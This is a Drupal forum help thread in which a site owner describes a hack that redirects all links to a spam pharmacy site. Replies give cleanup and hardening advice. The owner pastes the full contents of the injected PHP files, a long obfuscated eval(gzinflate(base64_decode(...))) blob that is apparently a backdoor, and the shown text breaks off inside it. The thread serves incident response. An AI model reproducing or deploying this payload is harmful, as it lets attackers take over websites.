When I tried to log into my website this morning I kept getting redirected to the site http://mymeds24.com. Further examination of the site and all my other subdomains revealed that every link would be redirected to the above website. The links access this url before redirecting users:
http://goodle-search.com/in.cgi?3&parameter=&ur=1&HTTP_REFERER=maba.malaysia-basketball.com.
Has my site been hacked and what should I do to recover from this? Please help.

Comments

vm’s picture

check your index.php file for oddities as compared to a newly downloaded one.

huijing’s picture

further inspection of the files on my site have revealed that there were two additional files inserted into my themes folder named ind.php and theme.php, the index.php file was also changed with one more line added to include theme.php.
I have recovered my site but would like to know how to prevent such things from happening again in the future? any tips?

vincent sg’s picture

Security vs Convenience
Not everything listed here are suitable for all sites.
You must balance between security and convenience.

Backup your files and database

Check your status report
Administer -> Reports -> Status report
Make sure everything is green.

Ensure that your LAMP stack and Drupal installations are up-to-date
Read and follow security announcements.
http://drupal.org/security

Install security modules
http://crackingdrupal.com/blog/ben-jeavons/contributed-modules-securing-...

Maintain a secure configuration
http://drupal.org/security/secure-configuration

Read book(s) written by Drupal Security Team
Read Cracking Drupal: A Drop in the Bucket by Greg James Knaddison
A number of modules are featured.
http://drupal.org/node/597378

Write secure code
http://drupal.org/writing-secure-code

vincent sg’s picture

How to report a security issue
http://drupal.org/node/101494

My site was defaced ("hacked"). Now what?
http://drupal.org/node/213320

vm’s picture

next thing I'd do is change all usernames/passwords on the server including for the database used for drupal and alter settings.php to reflect these changes.

WRT passwords, don't use a dictionary word. This likely isn't a drupal security issue but a server security issue.

huijing’s picture

it has happened yet again. i discovered two extra files inserted into my server this morning. one in the root folder called xmlrrc.php and one in the themes folder called conf.php
after the first hacking i had changed the passwords and file permissions on my server, so at this moment, there has been no link re-directing, however, i have no idea what the code does. both files contain the same content.
my pixture-reloaded theme folder seems to have been modified at the same time these two files were inserted, but i could not detect any visible change to the directory.
could anyone tell me what's going on and whether this is a server issue or a drupal issue? because the first time round, the cause of the rogue links was also in the pixture-reloaded theme folder.
thanks.

vm’s picture

could also be a user machine issue. As you connect with your machine to the server.

Have you scanned your machine for any viruses or malware that could be intercepting your FTP username and password?
Are you sure there are no files are folders inside your server/drupal install that shouldn't be?

is your drupal install and all contrib modules themes in use up to date?

huijing’s picture

i went through every folder on the server (painstakingly so...) and found another extra .php file that i missed the first purge. after comparing its contents with the other files, i realise all those .php files contained exactly the same thing.

<? eval(gzinflate(base64_decode('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